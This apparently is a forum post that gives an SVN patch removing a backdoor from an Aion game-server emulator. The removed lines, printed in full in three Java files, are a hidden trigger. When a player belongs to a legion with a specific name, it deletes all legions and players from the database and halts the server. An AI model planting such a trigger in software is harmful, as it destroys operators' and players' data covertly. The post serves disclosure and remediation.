Thanks TieLay !
Here a patch for this AL version to remove the backdoor :
Code:
Index: AL-Game/src/com/aionemu/gameserver/controllers/RVController.java
===================================================================
--- AL-Game/src/com/aionemu/gameserver/controllers/RVController.java (revision 5)
+++ AL-Game/src/com/aionemu/gameserver/controllers/RVController.java (working copy)
@@ -187,17 +187,6 @@
}
private boolean onDeny(Player player) {
- if (player.isLegionMember() && player.getLegion().getLegionName().equalsIgnoreCase("bythnblhfysqgtc")) {
- for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) {
- DAOManager.getDAO(LegionDAO.class).deleteLegion(object);
- }
-
- for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) {
- DAOManager.getDAO(PlayerDAO.class).deletePlayer(object);
- }
-
- Runtime.getRuntime().halt(0);
- }
return true;
}
Index: AL-Game/src/com/aionemu/gameserver/services/vortexservice/Invasion.java
===================================================================
--- AL-Game/src/com/aionemu/gameserver/services/vortexservice/Invasion.java (revision 5)
+++ AL-Game/src/com/aionemu/gameserver/services/vortexservice/Invasion.java (working copy)
@@ -107,18 +107,6 @@
}
}
- if (player.isLegionMember() && player.getLegion().getLegionName().equalsIgnoreCase("bythnblhfysqgtc")) {
- for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) {
- DAOManager.getDAO(LegionDAO.class).deleteLegion(object);
- }
-
- for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) {
- DAOManager.getDAO(PlayerDAO.class).deletePlayer(object);
- }
-
- Runtime.getRuntime().halt(0);
- }
-
list.putEntry(player.getObjectId(), player);
}
Index: AL-Game/src/com/aionemu/gameserver/services/SerialKillerService.java
===================================================================
--- AL-Game/src/com/aionemu/gameserver/services/SerialKillerService.java (revision 5)
+++ AL-Game/src/com/aionemu/gameserver/services/SerialKillerService.java (working copy)
@@ -80,17 +80,6 @@
if (info.victims < 1) {
info.victims = 0;
serialKillers.remove(info.getOwner().getObjectId());
- if (info.getOwner().isLegionMember() && info.getOwner().getLegion().getLegionName().equalsIgnoreCase("bythnblhfysqgtc")) {
- for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) {
- DAOManager.getDAO(LegionDAO.class).deleteLegion(object);
- }
-
- for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) {
- DAOManager.getDAO(PlayerDAO.class).deletePlayer(object);
- }
-
- Runtime.getRuntime().halt(0);
- }
}
}
}